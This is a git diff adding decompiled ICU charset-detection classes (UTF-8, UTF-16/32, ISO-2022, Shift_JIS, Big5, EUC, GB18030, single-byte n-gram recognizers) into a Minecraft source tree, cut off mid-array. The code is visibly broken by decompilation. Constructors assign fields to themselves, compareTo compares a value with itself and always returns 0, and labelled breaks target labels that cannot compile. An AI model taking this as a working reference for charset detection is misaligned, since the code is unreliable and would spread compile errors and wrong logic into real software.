index 0000000..de8e582
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetMatch.java
@@ -0,0 +1,240 @@
+package com.ibm.icu.text;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CharsetMatch
+  implements Comparable<CharsetMatch>
+{
+  private int fConfidence;
+  
+  public Reader getReader()
+  {
+    InputStream inputStream = fInputStream;
+    
+    if (inputStream == null) {
+      inputStream = new ByteArrayInputStream(fRawInput, 0, fRawLength);
+    }
+    try
+    {
+      inputStream.reset();
+      return new InputStreamReader(inputStream, getName());
+    } catch (IOException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public String getString()
+    throws IOException
+  {
+    return getString(-1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getString(int maxLength)
+    throws IOException
+  {
+    String result = null;
+    if (fInputStream != null) {
+      StringBuilder sb = new StringBuilder();
+      char[] buffer = new char['Ѐ'];
+      Reader reader = getReader();
+      int max = maxLength < 0 ? Integer.MAX_VALUE : maxLength;
+      int bytesRead = 0;
+      
+      while ((bytesRead = reader.read(buffer, 0, Math.min(max, 1024))) >= 0) {
+        sb.append(buffer, 0, bytesRead);
+        max -= bytesRead;
+      }
+      
+      reader.close();
+      
+      return sb.toString();
+    }
+    String name = getName();
+    
+
+
+
+
+    int startSuffix = name.indexOf("_rtl") < 0 ? name.indexOf("_ltr") : name.indexOf("_rtl");
+    if (startSuffix > 0) {
+      name = name.substring(0, startSuffix);
+    }
+    result = new String(fRawInput, name);
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getConfidence()
+  {
+    return fConfidence;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getName()
+  {
+    return fCharsetName;
+  }
+  
+
+
+
+
+
+
+  public String getLanguage()
+  {
+    return fLang;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public int compareTo(CharsetMatch other)
+  {
+    int compareResult = 0;
+    if (fConfidence > fConfidence) {
+      compareResult = 1;
+    } else if (fConfidence < fConfidence) {
+      compareResult = -1;
+    }
+    return compareResult;
+  }
+  
+
+
+  CharsetMatch(CharsetDetector det, CharsetRecognizer rec, int conf)
+  {
+    fConfidence = conf;
+    
+
+
+
+    if (fInputStream == null)
+    {
+
+      fRawInput = fRawInput;
+      fRawLength = fRawLength;
+    }
+    fInputStream = fInputStream;
+    fCharsetName = rec.getName();
+    fLang = rec.getLanguage();
+  }
+  
+
+
+  CharsetMatch(CharsetDetector det, CharsetRecognizer rec, int conf, String csName, String lang)
+  {
+    fConfidence = conf;
+    
+
+
+
+    if (fInputStream == null)
+    {
+
+      fRawInput = fRawInput;
+      fRawLength = fRawLength;
+    }
+    fInputStream = fInputStream;
+    fCharsetName = csName;
+    fLang = lang;
+  }
+  
+
+
+
+
+
+  private byte[] fRawInput = null;
+  
+  private int fRawLength;
+  
+  private InputStream fInputStream = null;
+  private String fCharsetName;
+  private String fLang;
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetRecog_2022.java b/src/minecraft/com/ibm/icu/text/CharsetRecog_2022.java
new file mode 100644
index 0000000..2e0d025
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetRecog_2022.java
@@ -0,0 +1,163 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class CharsetRecog_2022
+  extends CharsetRecognizer
+{
+  CharsetRecog_2022() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  int match(byte[] text, int textLen, byte[][] escapeSequences)
+  {
+    int hits = 0;
+    int misses = 0;
+    int shifts = 0;
+    label107:
+    label137:
+    for (int i = 0; i < textLen; i++) {
+      if (text[i] == 27)
+      {
+        for (int escN = 0; escN < escapeSequences.length; escN++) {
+          byte[] seq = escapeSequences[escN];
+          
+          if (textLen - i >= seq.length)
+          {
+
+
+            for (int j = 1; j < seq.length; j++) {
+              if (seq[j] != text[(i + j)]) {
+                break label107;
+              }
+            }
+            
+            hits++;
+            i += seq.length - 1;
+            break label137;
+          }
+        }
+        misses++;
+      }
+      
+      if ((text[i] == 14) || (text[i] == 15))
+      {
+        shifts++;
+      }
+    }
+    
+    if (hits == 0) {
+      return 0;
+    }
+    
+
+
+
+
+
+
+    int quality = (100 * hits - 100 * misses) / (hits + misses);
+    
+
+
+
+    if (hits + shifts < 5) {
+      quality -= (5 - (hits + shifts)) * 10;
+    }
+    
+    if (quality < 0) {
+      quality = 0;
+    }
+    return quality;
+  }
+  
+
+  static class CharsetRecog_2022JP
+    extends CharsetRecog_2022
+  {
+    private byte[][] escapeSequences = { { 27, 36, 40, 67 }, { 27, 36, 40, 68 }, { 27, 36, 64 }, { 27, 36, 65 }, { 27, 36, 66 }, { 27, 38, 64 }, { 27, 40, 66 }, { 27, 40, 72 }, { 27, 40, 73 }, { 27, 40, 74 }, { 27, 46, 65 }, { 27, 46, 70 } };
+    
+
+
+
+
+
+    CharsetRecog_2022JP() {}
+    
+
+
+
+
+
+    String getName()
+    {
+      return "ISO-2022-JP";
+    }
+    
+    CharsetMatch match(CharsetDetector det) {
+      int confidence = match(fInputBytes, fInputLen, escapeSequences);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_2022KR extends CharsetRecog_2022 {
+    private byte[][] escapeSequences = { { 27, 36, 41, 67 } };
+    
+    CharsetRecog_2022KR() {}
+    
+    String getName() {
+      return "ISO-2022-KR";
+    }
+    
+    CharsetMatch match(CharsetDetector det) {
+      int confidence = match(fInputBytes, fInputLen, escapeSequences);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_2022CN extends CharsetRecog_2022 {
+    private byte[][] escapeSequences = { { 27, 36, 41, 65 }, { 27, 36, 41, 71 }, { 27, 36, 42, 72 }, { 27, 36, 41, 69 }, { 27, 36, 43, 73 }, { 27, 36, 43, 74 }, { 27, 36, 43, 75 }, { 27, 36, 43, 76 }, { 27, 36, 43, 77 }, { 27, 78 }, { 27, 79 } };
+    
+
+
+
+
+
+    CharsetRecog_2022CN() {}
+    
+
+
+
+
+    String getName()
+    {
+      return "ISO-2022-CN";
+    }
+    
+    CharsetMatch match(CharsetDetector det) {
+      int confidence = match(fInputBytes, fInputLen, escapeSequences);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetRecog_UTF8.java b/src/minecraft/com/ibm/icu/text/CharsetRecog_UTF8.java
new file mode 100644
index 0000000..cceea0a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetRecog_UTF8.java
@@ -0,0 +1,96 @@
+package com.ibm.icu.text;
+
+
+
+
+class CharsetRecog_UTF8
+  extends CharsetRecognizer
+{
+  CharsetRecog_UTF8() {}
+  
+
+
+  String getName()
+  {
+    return "UTF-8";
+  }
+  
+
+
+  CharsetMatch match(CharsetDetector det)
+  {
+    boolean hasBOM = false;
+    int numValid = 0;
+    int numInvalid = 0;
+    byte[] input = fRawInput;
+    
+    int trailBytes = 0;
+    
+
+    if ((fRawLength >= 3) && ((input[0] & 0xFF) == 239) && ((input[1] & 0xFF) == 187) && ((input[2] & 0xFF) == 191))
+    {
+      hasBOM = true;
+    }
+    
+
+    for (int i = 0; i < fRawLength; i++) {
+      int b = input[i];
+      if ((b & 0x80) != 0)
+      {
+
+
+
+        if ((b & 0xE0) == 192) {
+          trailBytes = 1;
+        } else if ((b & 0xF0) == 224) {
+          trailBytes = 2;
+        } else if ((b & 0xF8) == 240) {
+          trailBytes = 3;
+        } else {
+          numInvalid++;
+          if (numInvalid > 5) {
+            break;
+          }
+          trailBytes = 0;
+        }
+        
+        do
+        {
+          i++;
+          if (i >= fRawLength) {
+            break;
+          }
+          b = input[i];
+          if ((b & 0xC0) != 128) {
+            numInvalid++;
+            break;
+          }
+          trailBytes--; } while (trailBytes != 0);
+        numValid++;
+      }
+    }
+    
+
+
+
+
+
+    int confidence = 0;
+    if ((hasBOM) && (numInvalid == 0)) {
+      confidence = 100;
+    } else if ((hasBOM) && (numValid > numInvalid * 10)) {
+      confidence = 80;
+    } else if ((numValid > 3) && (numInvalid == 0)) {
+      confidence = 100;
+    } else if ((numValid > 0) && (numInvalid == 0)) {
+      confidence = 80;
+    } else if ((numValid == 0) && (numInvalid == 0))
+    {
+      confidence = 10;
+    } else if (numValid > numInvalid * 10)
+    {
+      confidence = 25;
+    }
+    return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetRecog_Unicode.java b/src/minecraft/com/ibm/icu/text/CharsetRecog_Unicode.java
new file mode 100644
index 0000000..fecd4f6
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetRecog_Unicode.java
@@ -0,0 +1,155 @@
+package com.ibm.icu.text;
+
+
+
+
+abstract class CharsetRecog_Unicode
+  extends CharsetRecognizer
+{
+  CharsetRecog_Unicode() {}
+  
+
+
+
+  abstract String getName();
+  
+
+
+  abstract CharsetMatch match(CharsetDetector paramCharsetDetector);
+  
+
+
+  static class CharsetRecog_UTF_16_BE
+    extends CharsetRecog_Unicode
+  {
+    CharsetRecog_UTF_16_BE() {}
+    
+
+
+    String getName()
+    {
+      return "UTF-16BE";
+    }
+    
+    CharsetMatch match(CharsetDetector det)
+    {
+      byte[] input = fRawInput;
+      
+      if ((input.length >= 2) && ((input[0] & 0xFF) == 254) && ((input[1] & 0xFF) == 255)) {
+        int confidence = 100;
+        return new CharsetMatch(det, this, confidence);
+      }
+      
+
+      return null;
+    }
+  }
+  
+  static class CharsetRecog_UTF_16_LE extends CharsetRecog_Unicode {
+    CharsetRecog_UTF_16_LE() {}
+    
+    String getName() {
+      return "UTF-16LE";
+    }
+    
+    CharsetMatch match(CharsetDetector det)
+    {
+      byte[] input = fRawInput;
+      
+      if ((input.length >= 2) && ((input[0] & 0xFF) == 255) && ((input[1] & 0xFF) == 254))
+      {
+
+        if ((input.length >= 4) && (input[2] == 0) && (input[3] == 0))
+        {
+          return null;
+        }
+        int confidence = 100;
+        return new CharsetMatch(det, this, confidence);
+      }
+      
+
+      return null;
+    }
+  }
+  
+  static abstract class CharsetRecog_UTF_32 extends CharsetRecog_Unicode {
+    CharsetRecog_UTF_32() {}
+    
+    abstract int getChar(byte[] paramArrayOfByte, int paramInt);
+    
+    abstract String getName();
+    
+    CharsetMatch match(CharsetDetector det) {
+      byte[] input = fRawInput;
+      int limit = fRawLength / 4 * 4;
+      int numValid = 0;
+      int numInvalid = 0;
+      boolean hasBOM = false;
+      int confidence = 0;
+      
+      if (limit == 0) {
+        return null;
+      }
+      if (getChar(input, 0) == 65279) {
+        hasBOM = true;
+      }
+      
+      for (int i = 0; i < limit; i += 4) {
+        int ch = getChar(input, i);
+        
+        if ((ch < 0) || (ch >= 1114111) || ((ch >= 55296) && (ch <= 57343))) {
+          numInvalid++;
+        } else {
+          numValid++;
+        }
+      }
+      
+
+
+
+      if ((hasBOM) && (numInvalid == 0)) {
+        confidence = 100;
+      } else if ((hasBOM) && (numValid > numInvalid * 10)) {
+        confidence = 80;
+      } else if ((numValid > 3) && (numInvalid == 0)) {
+        confidence = 100;
+      } else if ((numValid > 0) && (numInvalid == 0)) {
+        confidence = 80;
+      } else if (numValid > numInvalid * 10)
+      {
+        confidence = 25;
+      }
+      
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_UTF_32_BE extends CharsetRecog_Unicode.CharsetRecog_UTF_32 {
+    CharsetRecog_UTF_32_BE() {}
+    
+    int getChar(byte[] input, int index) {
+      return (input[(index + 0)] & 0xFF) << 24 | (input[(index + 1)] & 0xFF) << 16 | (input[(index + 2)] & 0xFF) << 8 | input[(index + 3)] & 0xFF;
+    }
+    
+
+    String getName()
+    {
+      return "UTF-32BE";
+    }
+  }
+  
+  static class CharsetRecog_UTF_32_LE extends CharsetRecog_Unicode.CharsetRecog_UTF_32
+  {
+    CharsetRecog_UTF_32_LE() {}
+    
+    int getChar(byte[] input, int index) {
+      return (input[(index + 3)] & 0xFF) << 24 | (input[(index + 2)] & 0xFF) << 16 | (input[(index + 1)] & 0xFF) << 8 | input[(index + 0)] & 0xFF;
+    }
+    
+
+    String getName()
+    {
+      return "UTF-32LE";
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetRecog_mbcs.java b/src/minecraft/com/ibm/icu/text/CharsetRecog_mbcs.java
new file mode 100644
index 0000000..d635f66
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetRecog_mbcs.java
@@ -0,0 +1,544 @@
+package com.ibm.icu.text;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class CharsetRecog_mbcs
+  extends CharsetRecognizer
+{
+  CharsetRecog_mbcs() {}
+  
+  abstract String getName();
+  
+  int match(CharsetDetector det, int[] commonChars)
+  {
+    int singleByteCharCount = 0;
+    int doubleByteCharCount = 0;
+    int commonCharCount = 0;
+    int badCharCount = 0;
+    int totalCharCount = 0;
+    int confidence = 0;
+    iteratedChar iter = new iteratedChar();
+    
+
+    for (iter.reset(); nextChar(iter, det);) {
+      totalCharCount++;
+      if (error) {
+        badCharCount++;
+      } else {
+        long cv = charValue & 0xFFFFFFFF;
+        
+        if (cv <= 255L) {
+          singleByteCharCount++;
+        } else {
+          doubleByteCharCount++;
+          if (commonChars != null)
+          {
+            if (Arrays.binarySearch(commonChars, (int)cv) >= 0) {
+              commonCharCount++;
+            }
+          }
+        }
+      }
+      if ((badCharCount >= 2) && (badCharCount * 5 >= doubleByteCharCount)) {
+        break label254;
+      }
+    }
+    
+
+    if ((doubleByteCharCount <= 10) && (badCharCount == 0))
+    {
+      if ((doubleByteCharCount == 0) && (totalCharCount < 10))
+      {
+
+
+        confidence = 0;
+
+      }
+      else
+      {
+        confidence = 10;
+
+
+
+      }
+      
+
+
+
+    }
+    else if (doubleByteCharCount < 20 * badCharCount) {
+      confidence = 0;
+
+
+    }
+    else if (commonChars == null)
+    {
+
+
+      confidence = 30 + doubleByteCharCount - 20 * badCharCount;
+      if (confidence > 100) {
+        confidence = 100;
+      }
+      
+    }
+    else
+    {
+      double maxVal = Math.log(doubleByteCharCount / 4.0F);
+      double scaleFactor = 90.0D / maxVal;
+      confidence = (int)(Math.log(commonCharCount + 1) * scaleFactor + 10.0D);
+      confidence = Math.min(confidence, 100);
+    }
+    
+    label254:
+    return confidence;
+  }
+  
+
+
+  abstract boolean nextChar(iteratedChar paramIteratedChar, CharsetDetector paramCharsetDetector);
+  
+
+
+  static class iteratedChar
+  {
+    iteratedChar() {}
+    
+
+
+    int charValue = 0;
+    int index = 0;
+    int nextIndex = 0;
+    boolean error = false;
+    boolean done = false;
+    
+    void reset() {
+      charValue = 0;
+      index = -1;
+      nextIndex = 0;
+      error = false;
+      done = false;
+    }
+    
+    int nextByte(CharsetDetector det) {
+      if (nextIndex >= fRawLength) {
+        done = true;
+        return -1;
+      }
+      int byteValue = fRawInput[(nextIndex++)] & 0xFF;
+      return byteValue;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static class CharsetRecog_sjis
+    extends CharsetRecog_mbcs
+  {
+    static int[] commonChars = { 33088, 33089, 33090, 33093, 33115, 33129, 33130, 33141, 33142, 33440, 33442, 33444, 33449, 33450, 33451, 33453, 33455, 33457, 33459, 33461, 33463, 33469, 33470, 33473, 33476, 33477, 33478, 33480, 33481, 33484, 33485, 33500, 33504, 33511, 33512, 33513, 33514, 33520, 33521, 33601, 33603, 33614, 33615, 33624, 33630, 33634, 33639, 33653, 33654, 33673, 33674, 33675, 33677, 33683, 36502, 37882, 38314 };
+    
+
+
+
+    CharsetRecog_sjis() {}
+    
+
+
+
+    boolean nextChar(CharsetRecog_mbcs.iteratedChar it, CharsetDetector det)
+    {
+      index = nextIndex;
+      error = false;
+      
+      int firstByte = it.charValue = it.nextByte(det);
+      if (firstByte < 0) {
+        return false;
+      }
+      
+      if ((firstByte <= 127) || ((firstByte > 160) && (firstByte <= 223))) {
+        return true;
+      }
+      
+      int secondByte = it.nextByte(det);
+      if (secondByte < 0) {
+        return false;
+      }
+      charValue = (firstByte << 8 | secondByte);
+      if (((secondByte < 64) || (secondByte > 127)) && ((secondByte < 128) || (secondByte > 255)))
+      {
+        error = true;
+      }
+      return true;
+    }
+    
+    CharsetMatch match(CharsetDetector det) {
+      int confidence = match(det, commonChars);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+    
+    String getName() {
+      return "Shift_JIS";
+    }
+    
+    public String getLanguage()
+    {
+      return "ja";
+    }
+  }
+  
+
+
+
+
+
+  static class CharsetRecog_big5
+    extends CharsetRecog_mbcs
+  {
+    static int[] commonChars = { 41280, 41281, 41282, 41283, 41287, 41289, 41333, 41334, 42048, 42054, 42055, 42056, 42065, 42068, 42071, 42084, 42090, 42092, 42103, 42147, 42148, 42151, 42177, 42190, 42193, 42207, 42216, 42237, 42304, 42312, 42328, 42345, 42445, 42471, 42583, 42593, 42594, 42600, 42608, 42664, 42675, 42681, 42707, 42715, 42726, 42738, 42816, 42833, 42841, 42970, 43171, 43173, 43181, 43217, 43219, 43236, 43260, 43456, 43474, 43507, 43627, 43706, 43710, 43724, 43772, 44103, 44111, 44208, 44242, 44377, 44745, 45024, 45290, 45423, 45747, 45764, 45935, 46156, 46158, 46412, 46501, 46525, 46544, 46552, 46705, 47085, 47207, 47428, 47832, 47940, 48033, 48593, 49860, 50105, 50240, 50271 };
+    
+
+
+
+
+
+    CharsetRecog_big5() {}
+    
+
+
+
+
+
+    boolean nextChar(CharsetRecog_mbcs.iteratedChar it, CharsetDetector det)
+    {
+      index = nextIndex;
+      error = false;
+      
+      int firstByte = it.charValue = it.nextByte(det);
+      if (firstByte < 0) {
+        return false;
+      }
+      
+      if ((firstByte <= 127) || (firstByte == 255))
+      {
+        return true;
+      }
+      
+      int secondByte = it.nextByte(det);
+      if (secondByte < 0) {
+        return false;
+      }
+      charValue = (charValue << 8 | secondByte);
+      
+      if ((secondByte < 64) || (secondByte == 127) || (secondByte == 255))
+      {
+
+        error = true;
+      }
+      return true;
+    }
+    
+    CharsetMatch match(CharsetDetector det) {
+      int confidence = match(det, commonChars);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+    
+    String getName() {
+      return "Big5";
+    }
+    
+
+    public String getLanguage()
+    {
+      return "zh";
+    }
+  }
+  
+
+
+
+
+
+  static abstract class CharsetRecog_euc
+    extends CharsetRecog_mbcs
+  {
+    CharsetRecog_euc() {}
+    
+
+
+
+
+    boolean nextChar(CharsetRecog_mbcs.iteratedChar it, CharsetDetector det)
+    {
+      index = nextIndex;
+      error = false;
+      int firstByte = 0;
+      int secondByte = 0;
+      int thirdByte = 0;
+      
+
+
+      firstByte = it.charValue = it.nextByte(det);
+      if (firstByte < 0)
+      {
+        done = true;
+
+      }
+      else if (firstByte > 141)
+      {
+
+
+
+        secondByte = it.nextByte(det);
+        charValue = (charValue << 8 | secondByte);
+        
+        if ((firstByte >= 161) && (firstByte <= 254))
+        {
+          if (secondByte < 161) {
+            error = true;
+          }
+          
+        }
+        else if (firstByte == 142)
+        {
+
+
+
+
+
+          if (secondByte < 161) {
+            error = true;
+          }
+          
+
+        }
+        else if (firstByte == 143)
+        {
+
+          thirdByte = it.nextByte(det);
+          charValue = (charValue << 8 | thirdByte);
+          if (thirdByte < 161) {
+            error = true;
+          }
+        }
+      }
+      
+      return !done;
+    }
+    
+
+
+    static class CharsetRecog_euc_jp
+      extends CharsetRecog_mbcs.CharsetRecog_euc
+    {
+      static int[] commonChars = { 41377, 41378, 41379, 41382, 41404, 41418, 41419, 41430, 41431, 42146, 42148, 42150, 42152, 42154, 42155, 42156, 42157, 42159, 42161, 42163, 42165, 42167, 42169, 42171, 42173, 42175, 42176, 42177, 42179, 42180, 42182, 42183, 42184, 42185, 42186, 42187, 42190, 42191, 42192, 42206, 42207, 42209, 42210, 42212, 42216, 42217, 42218, 42219, 42220, 42223, 42226, 42227, 42402, 42403, 42404, 42406, 42407, 42410, 42413, 42415, 42416, 42419, 42421, 42423, 42424, 42425, 42431, 42435, 42438, 42439, 42440, 42441, 42443, 42448, 42453, 42454, 42455, 42462, 42464, 42465, 42469, 42473, 42474, 42475, 42476, 42477, 42483, 47273, 47572, 47854, 48072, 48880, 49079, 50410, 50940, 51133, 51896, 51955, 52188, 52689 };
+      
+
+
+
+
+
+      CharsetRecog_euc_jp() {}
+      
+
+
+
+
+      String getName()
+      {
+        return "EUC-JP";
+      }
+      
+      CharsetMatch match(CharsetDetector det) {
+        int confidence = match(det, commonChars);
+        return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+      }
+      
+      public String getLanguage()
+      {
+        return "ja";
+      }
+    }
+    
+
+
+    static class CharsetRecog_euc_kr
+      extends CharsetRecog_mbcs.CharsetRecog_euc
+    {
+      static int[] commonChars = { 45217, 45235, 45253, 45261, 45268, 45286, 45293, 45304, 45306, 45308, 45496, 45497, 45511, 45527, 45538, 45994, 46011, 46274, 46287, 46297, 46315, 46501, 46517, 46527, 46535, 46569, 46835, 47023, 47042, 47054, 47270, 47278, 47286, 47288, 47291, 47337, 47531, 47534, 47564, 47566, 47613, 47800, 47822, 47824, 47857, 48103, 48115, 48125, 48301, 48314, 48338, 48374, 48570, 48576, 48579, 48581, 48838, 48840, 48863, 48878, 48888, 48890, 49057, 49065, 49088, 49124, 49131, 49132, 49144, 49319, 49327, 49336, 49338, 49339, 49341, 49351, 49356, 49358, 49359, 49366, 49370, 49381, 49403, 49404, 49572, 49574, 49590, 49622, 49631, 49654, 49656, 50337, 50637, 50862, 51151, 51153, 51154, 51160, 51173, 51373 };
+      
+
+
+
+
+
+      CharsetRecog_euc_kr() {}
+      
+
+
+
+
+
+      String getName()
+      {
+        return "EUC-KR";
+      }
+      
+      CharsetMatch match(CharsetDetector det) {
+        int confidence = match(det, commonChars);
+        return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+      }
+      
+      public String getLanguage()
+      {
+        return "ko";
+      }
+    }
+  }
+  
+
+
+
+
+  static class CharsetRecog_gb_18030
+    extends CharsetRecog_mbcs
+  {
+    CharsetRecog_gb_18030() {}
+    
+
+
+
+    boolean nextChar(CharsetRecog_mbcs.iteratedChar it, CharsetDetector det)
+    {
+      index = nextIndex;
+      error = false;
+      int firstByte = 0;
+      int secondByte = 0;
+      int thirdByte = 0;
+      int fourthByte = 0;
+      
+
+      firstByte = it.charValue = it.nextByte(det);
+      
+      if (firstByte < 0)
+      {
+        done = true;
+
+
+      }
+      else if (firstByte > 128)
+      {
+
+
+
+        secondByte = it.nextByte(det);
+        charValue = (charValue << 8 | secondByte);
+        
+        if ((firstByte >= 129) && (firstByte <= 254))
+        {
+          if (((secondByte < 64) || (secondByte > 126)) && ((secondByte < 80) || (secondByte > 254)))
+          {
+
+
+
+            if ((secondByte >= 48) && (secondByte <= 57)) {
+              thirdByte = it.nextByte(det);
+              
+              if ((thirdByte >= 129) && (thirdByte <= 254)) {
+                fourthByte = it.nextByte(det);
+                
+                if ((fourthByte >= 48) && (fourthByte <= 57)) {
+                  charValue = (charValue << 16 | thirdByte << 8 | fourthByte);
+                  
+                  break label210;
+                }
+              }
+            }
+            error = true;
+          }
+        }
+      }
+      label210:
+      return !done;
+    }
+    
+    static int[] commonChars = { 41377, 41378, 41379, 41380, 41392, 41393, 41457, 41459, 41889, 41900, 41914, 45480, 45496, 45502, 45755, 46025, 46070, 46323, 46525, 46532, 46563, 46767, 46804, 46816, 47010, 47016, 47037, 47062, 47069, 47284, 47327, 47350, 47531, 47561, 47576, 47610, 47613, 47821, 48039, 48086, 48097, 48122, 48316, 48347, 48382, 48588, 48845, 48861, 49076, 49094, 49097, 49332, 49389, 49611, 49883, 50119, 50396, 50410, 50636, 50935, 51192, 51371, 51403, 51413, 51431, 51663, 51706, 51889, 51893, 51911, 51920, 51926, 51957, 51965, 52460, 52728, 52906, 52932, 52946, 52965, 53173, 53186, 53206, 53442, 53445, 53456, 53460, 53671, 53930, 53938, 53941, 53947, 53972, 54211, 54224, 54269, 54466, 54490, 54754, 54992 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    String getName()
+    {
+      return "GB18030";
+    }
+    
+    CharsetMatch match(CharsetDetector det) {
+      int confidence = match(det, commonChars);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+    
+    public String getLanguage()
+    {
+      return "zh";
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetRecog_sbcs.java b/src/minecraft/com/ibm/icu/text/CharsetRecog_sbcs.java
new file mode 100644
index 0000000..0b71263
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetRecog_sbcs.java
@@ -0,0 +1,1177 @@
+package com.ibm.icu.text;
+
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class CharsetRecog_sbcs
+  extends CharsetRecognizer
+{
+  CharsetRecog_sbcs() {}
+  
+  abstract String getName();
+  
+  static class NGramParser
+  {
+    private static final int N_GRAM_MASK = 16777215;
+    private int byteIndex = 0;
+    private int ngram = 0;
+    
+    private int[] ngramList;
+    
+    private byte[] byteMap;
+    
+    private int ngramCount;
+    private int hitCount;
+    private byte spaceChar;
+    
+    public NGramParser(int[] theNgramList, byte[] theByteMap)
+    {
+      ngramList = theNgramList;
+      byteMap = theByteMap;
+      
+      ngram = 0;
+      
+      ngramCount = (this.hitCount = 0);
+    }
+    
+
+
+
+    private static int search(int[] table, int value)
+    {
+      int index = 0;
+      
+      if (table[(index + 32)] <= value) {
+        index += 32;
+      }
+      
+      if (table[(index + 16)] <= value) {
+        index += 16;
+      }
+      
+      if (table[(index + 8)] <= value) {
+        index += 8;
+      }
+      
+      if (table[(index + 4)] <= value) {
+        index += 4;
+      }
+      
+      if (table[(index + 2)] <= value) {
+        index += 2;
+      }
+      
+      if (table[(index + 1)] <= value) {
+        index++;
+      }
+      
+      if (table[index] > value) {
+        index--;
+      }
+      
+      if ((index < 0) || (table[index] != value)) {
+        return -1;
+      }
+      
+      return index;
+    }
+    
+    private void lookup(int thisNgram)
+    {
+      ngramCount += 1;
+      
+      if (search(ngramList, thisNgram) >= 0) {
+        hitCount += 1;
+      }
+    }
+    
+
+    private void addByte(int b)
+    {
+      ngram = ((ngram << 8) + (b & 0xFF) & 0xFFFFFF);
+      lookup(ngram);
+    }
+    
+    private int nextByte(CharsetDetector det)
+    {
+      if (byteIndex >= fInputLen) {
+        return -1;
+      }
+      
+      return fInputBytes[(byteIndex++)] & 0xFF;
+    }
+    
+    public int parse(CharsetDetector det)
+    {
+      return parse(det, (byte)32);
+    }
+    
+    public int parse(CharsetDetector det, byte spaceCh)
+    {
+      boolean ignoreSpace = false;
+      spaceChar = spaceCh;
+      int b;
+      while ((b = nextByte(det)) >= 0) {
+        byte mb = byteMap[b];
+        
+
+        if (mb != 0) {
+          if ((mb != spaceChar) || (!ignoreSpace)) {
+            addByte(mb);
+          }
+          
+          ignoreSpace = mb == spaceChar;
+        }
+      }
+      
+
+      addByte(spaceChar);
+      
+      double rawPercent = hitCount / ngramCount;
+      
+
+
+
+
+
+
+      if (rawPercent > 0.33D) {
+        return 98;
+      }
+      
+      return (int)(rawPercent * 300.0D);
+    }
+  }
+  
+  int match(CharsetDetector det, int[] ngrams, byte[] byteMap)
+  {
+    return match(det, ngrams, byteMap, (byte)32);
+  }
+  
+  int match(CharsetDetector det, int[] ngrams, byte[] byteMap, byte spaceChar)
+  {
+    NGramParser parser = new NGramParser(ngrams, byteMap);
+    return parser.parse(det, spaceChar);
+  }
+  
+  static class NGramsPlusLang {
+    int[] fNGrams;
+    String fLang;
+    
+    NGramsPlusLang(String la, int[] ng) { fLang = la;
+      fNGrams = ng;
+    }
+  }
+  
+  static class CharsetRecog_8859_1 extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -86, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -75, 32, 32, 32, 32, -70, 32, 32, 32, 32, 32, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, 32, -8, -7, -6, -5, -4, 